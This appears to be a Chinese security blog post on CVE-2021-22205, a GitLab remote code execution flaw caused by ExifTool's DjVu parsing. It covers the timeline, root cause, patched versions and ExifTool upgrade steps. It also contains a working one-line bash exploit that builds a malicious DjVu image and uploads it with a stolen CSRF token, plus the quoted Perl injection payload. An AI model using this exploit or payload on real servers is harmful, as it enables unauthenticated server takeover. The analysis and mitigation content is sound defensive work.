CVE-2021-22205漏洞原理、利用和缓解

概况

Remote code execution when uploading specially crafted image files

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that is passed to a file parser which resulted in a remote command execution. This is a critical severity issue (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 9.9). It is now mitigated in the latest release and is assigned CVE-2021-22205.

Thanks vakzz for reporting this vulnerability through our HackerOne bug bounty program.

Remediation

We strongly recommend that all installations running an affected version above are upgraded to the latest version as soon as possible.

——https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/#Remote-code-execution-when-uploading-specially-crafted-image-files

时间线:

1
2
3
4
2021/3/15 vakzz向hackerone报告漏洞
2021/4/14 GitLab发布更新release
2021/5/14 hackerone公布原始漏洞报告
2021/10/25 HN Security发布在野漏洞利用分析的博文,简化了漏洞利用方式

利用

GitLab在release log中给这个漏洞打分9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H),认为是需要权限的。

但在对在野利用的事件分析中,HN Security团队发现一种比入侵事件中更简化的无需认证的利用方式。

所以CVE-2021-22205是一个CVSS 10分的无认证RCE,利用容易,危害高。

网络上已有利用脚本,我也根据原始报告写了一个bash版本,一行代码就能利用。

1
t="http://vuln.site";cmd='touch /tmp/cve-2021-22205-proof';f="1.jpg";echo 41542654464f524d000003af444a564d4449524d0000002e81000200000046000000acffffdebf992021c8914eeb0c071fd2da88e86be6440f2c7102ee49d36e95bda2c3223f464f524d0000005e444a5655494e464f0000000a00080008180064001600494e434c0000000f7368617265645f616e6e6f2e696666004247343400000011004a0102000800088ae6e1b137d97f2a89004247343400000004010ff99f4247343400000002020a464f524d00000307444a5649414e546100000150286d657461646174610a0928436f7079726967687420225c0a22202e2071787b|xxd -p -r>$f;echo -n $cmd>>$f;echo 7d202e205c0a222062202229202920202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020|xxd -p -r>>$f;curl -b c -c c -XPOST $t/uploads/user -H "X-CSRF-Token: $(curl -b c -c c -s "$t/users/sign_in" |grep -Po '(?<=csrf-token" content=")([^"]*)')" -F "file=@$f"

注意点:

并非只有/uploads/user 端点受影响,所有上传图片的点都可能成为攻击的入口,比如在野利用分析报告中用的就是新建一个issue然后访问/user/project/uploads

所以,在缓解漏洞时不能仅考虑从路由上禁止。

原理

GitLab中用来处理上传文件的组件叫gitlab-workhorse,gitlab-workhorse使用开源工具ExifTool来抹除上传的图片中的元数据,ExifTool在解析DjVu格式时存在漏洞,会执行注入的perl脚本。

存在漏洞的代码(https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233)

1
2
3
4
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"}; # here!!!

(截图源自在野利用分析文章

这里只是overview,有空了仔细分析整个调用流程。

修复

参考https://about.gitlab.com/update/ 将GitLab升级到安全版本。

安全版本的GitLab底层使用了安全版本的ExifTool,并且在将文件传给ExiTool处理前,添加了对文件格式的判断。

为了避免兼容性问题,只需要升级到对应小版本的安全版本即可,并不一定要升级大版本

组件 影响版本 安全版本
GitLab(CE/EE) <13.8.8 & >= 11.9 13.8.8
GitLab(CE/EE) <13.9.6 & >= 13.9 13.9.6
GitLab(CE/EE) <13.10.3 & >= 13.10 13.10.3

缓解

简言之

1
sudo apt install -y libimage-exiftool-perl

具体来说

这个帖子 讨论了的漏洞根因和应对方案。其中一种是行之有效并且易于操作的,就是升级ExifTool。

Warkeeper @Warkeeper · 4 months ago
@rshambhuni The version of GitLab I installed from source is “13.6.1 (c0876634cc0)” (I cloned it from GitHub’s master branch some day in April), and it’s running on ubuntu 18.04. I reproduced this issue in my setup and found that my setup is also affected by it.

After reading the description of CVE-2021-22205 and this issue, I think it’s mostly the fault of “ExifTool”.
Since Ubuntu has released a security version of “ExifTool”, I tried to update ExifTool to 10.80-1ubuntu0.1 in my setup, and after that, I can’t reproduce this issue.

But I’m not sure if updating ExifTool is safe enough for this issue, should I update my GitLab as well?

Heinrich Lee Yu @engwan · 4 months ago Maintainer
Yes, upgrading exiftool would prevent the vulnerability. It would still be good to upgrade GitLab though since we added extra checks to prevent other file types from being processed by exiftool.

There was also another severity 1 vulnerability that was fixed in the same critical security release.

——https://gitlab.com/gitlab-org/gitlab/-/issues/327121#note_614878062

由于漏洞本质上是由ExifTool的CVE-2021-22204引起的,所以升级ExifTool理论上是能够缓解漏洞的。

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image

Upstream patch

——https://bugs.launchpad.net/ubuntu/+source/libimage-exiftool-perl/+bug/1925985

ExifTool在Linux上软件包名叫做 libimage-exiftool-perl,不同发行版上不受CVE-2021-22204影响的安全版本列表如下:

Release Version
stretch 10.40-1
stretch (security) 10.40-1+deb9u1
buster 11.16-1+deb10u1
bullseye 12.16+dfsg-2
bookworm 12.33+dfsg-1
sid 12.34+dfsg-1

——https://security-tracker.debian.org/tracker/source-package/libimage-exiftool-perl

具体操作如下:

1
2
3
4
5
6
7
8
9
10
11
查看一个软件的可安装版本
apt-cache madison libimage-exiftool-perl

安装某低版本的ExifTool
sudo apt install libimage-exiftool-perl=11.88-1

查看已安装ExifTool的版本
exiftool -ver

升级ExifTool版本到最新
sudo apt install -y libimage-exiftool-perl

操作示例:

原始报告

链接:https://hackerone.com/reports/1154542

部分节选如下

Summary

When uploading image files, GitLab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remove any non-whitelisted tags.

An issue with this is that ExifTool will ignore the file extension and try to determine what the file is based on the content, allowing for any of the supported parsers to be hit instead of just JPEG and TIFF by just renaming the uploaded file.

One of the supported formats is DjVu. When parsing the DjVu annotation, the tokens are evaled to “convert C escape sequences”.

There is some validation to try and ensure that everything is properly escaped, but a backslash followed by a newline is correctly handled allowing the quotes to be closed and arbitrary perl inserted and evaluated:

Code

1
2
3
4
(metadata
(Copyright "\
" . qx{echo vakzz >/tmp/vakzz} . \
" b ") )

echo_vakzz.jpg.zip is an example DjVu file with the above metadata, and reverse_shell.jpg.zip is an example that runs a reverse shell.

Steps to reproduce

  1. Download echo_vakzz.jpg.zip and unzip it
  2. Create a new snippet
  3. In the description field, hit “Attach a file”
  4. Select and uplaod echo_vakzz.jpg
  5. See that the file /tmp/vakzz has been created on the server

Uploading reverse_shell.jpg.zip to https://gitlab.com/-/snippets/new resulted in a shell on web-09-sv-gprd

参考链接

https://hackerone.com/reports/1154542

https://gitlab.com/gitlab-org/gitlab/-/issues/327121

https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

https://github.com/exiftool/exiftool/blob/11.70/lib/Image/ExifTool/DjVu.pm#L233

https://www.reddit.com/r/netsec/comments/qfbea1/gitlab_ce_cve202122205_in_the_wild/

https://old.reddit.com/r/netsec/comments/n36x7h/arbitrary_code_execution_in_exiftool/gwpgk3v/

https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/#Remote-code-execution-when-uploading-specially-crafted-image-files

https://bugs.launchpad.net/ubuntu/+source/libimage-exiftool-perl/+bug/1925985

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204

https://security-tracker.debian.org/tracker/source-package/libimage-exiftool-perl

https://twitter.com/pdnuclei/status/1453351196350029829

https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://github.com/findneo/GitLab-preauth-RCE_CVE-2021-22205